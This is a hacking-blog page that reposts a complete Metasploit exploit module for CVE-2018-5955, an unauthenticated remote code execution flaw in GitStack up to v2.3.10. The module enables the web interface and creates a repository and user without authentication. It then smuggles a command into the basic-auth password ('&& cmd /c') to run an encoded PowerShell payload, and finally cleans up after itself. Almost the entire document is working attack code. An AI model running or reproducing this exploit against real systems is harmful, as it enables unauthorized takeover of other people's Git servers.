Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863550798

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GitStack Unsanitized Argument RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability that
        exists in GitStack through v2.3.10, caused by an unsanitized argument
        being passed to an exec function call. This module has been tested
        on GitStack v2.3.10.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek',    # Vulnerability discovery and PoC
          'Jacob Robles'      # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2018-5955'],
          ['EDB', '43777'],
          ['EDB', '44044'],
          ['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Targets'        => [['Automatic', {}]],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 15 2018',
      'DefaultTarget'  => 0))
  end

  def check_web
    begin
      res = send_request_cgi({
        'uri'     =>  '/rest/settings/general/webinterface/',
        'method'  => 'GET'
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end

    if res && res.code == 200
      if res.body =~ /true/
        vprint_good('Web interface is enabled')
        return true
      else
        vprint_error('Web interface is disabled')
        return false
      end
    else
      print_error('Unable to determine status of web interface')
      return nil
    end
  end

  def check_repos
    begin
      res = send_request_cgi({
        'uri'     =>  '/rest/repository/',
        'method'  =>  'GET',
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      begin
        mylist = res.get_json_document
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        return nil
      end

      if mylist.length == 0
        vprint_error('No repositories found')
        return false
      else
        vprint_good('Repositories found')
        return mylist
      end
    else
      print_error('Unable to determine available repositories')
      return nil
    end
  end

  def update_web(web)
    data = {'enabled' => web}
    begin
      res = send_request_cgi({
        'uri'     =>  '/rest/settings/general/webinterface/',
        'method'  =>  'PUT',
        'data'    =>  data.to_json
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("#{res.body}")
    end
  end

  def create_repo
    repo = Rex::Text.rand_text_alpha(5)
    c_token = Rex::Text.rand_text_alpha(5)
    begin
      res = send_request_cgi({
        'uri'       =>  '/rest/repository/',
        'method'    =>  'POST',
        'cookie'    =>  "csrftoken=#{c_token}",
        'vars_post' =>  {
          'name'                =>  repo,
          'csrfmiddlewaretoken' =>  c_token
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("#{res.body}")
      return repo
    else
      print_status('Unable to create repository')
      return nil
    end
  end

  def delete_repo(repo)
    begin
      res = send_request_cgi({
        'uri'     =>  "/rest/repository/#{repo}/",
        'method'  =>  'DELETE'
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end

    if res && res.code == 200
      vprint_good("#{res.body}")
    else
      print_status('Failed to delete repository')
    end
  end

  def create_user
    user = Rex::Text.rand_text_alpha(5)
    pass = user
    begin
      res = send_request_cgi({
        'uri'       => '/rest/user/',
        'method'    =>  'POST',
        'vars_post' =>  {
          'username'  =>  user,
          'password'  =>  pass
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("Created user: #{user}")
      return user
    else
      print_error("Failed to create user")
      return nil
    end
  end

  def delete_user(user)
    begin
      res = send_request_cgi({
        'uri'     =>  "/rest/user/#{user}/",
        'method'  =>  'DELETE'
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("#{res.body}")
    else
      print_status('Delete user unsuccessful')
    end
  end

  def mod_user(repo, user, method)
    begin
      res = send_request_cgi({
        'uri'     =>  "/rest/repository/#{repo}/user/#{user}/",
        'method'  =>  method
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("#{res.body}")
    else
      print_status('Unable to add/remove user from repo')
    end
  end

  def repo_users(repo)
    begin
      res = send_request_cgi({
        'uri'     =>  "/rest/repository/#{repo}/user/",
        'method'  =>  'GET'
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      begin
        users = res.get_json_document
        users -= ['everyone']
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        users = nil
      end
    else
      return nil
    end
    return users
  end

  def run_exploit(repo, user, cmd)
    begin
      res = send_request_cgi({
        'uri'           =>  '/web/index.php',
        'method'        =>  'GET',
        'authorization' =>  basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
        'vars_get'      =>  {
          'p' =>  "#{repo}.git",
          'a' =>  'summary'
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
  end

  def exploit
    command = cmd_psh_payload(
      payload.encoded,
      payload_instance.arch.first,
      { :remove_comspec => true, :encode_final_payload => true }
    )
    fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110

    web = check_web
    repos = check_repos

    if web.nil? || repos.nil?
      return
    end

    unless web
      update_web(!web)
      # Wait for interface
      sleep 8
    end

    if repos
      pwn_repo = repos[0]['name']
    else
      pwn_repo = create_repo
    end

    r_users = repo_users(pwn_repo)
    if r_users.present?
      pwn_user = r_users[0]
      run_exploit(pwn_repo, pwn_user, command)
    else
      pwn_user = create_user
      if pwn_user
        mod_user(pwn_repo, pwn_user, 'POST')
        run_exploit(pwn_repo, pwn_user, command)
        mod_user(pwn_repo, pwn_user, 'DELETE')
        delete_user(pwn_user)
      end
    end

    unless web
      update_web(web)
    end

    unless repos
      delete_repo(pwn_repo)
    end
  end
end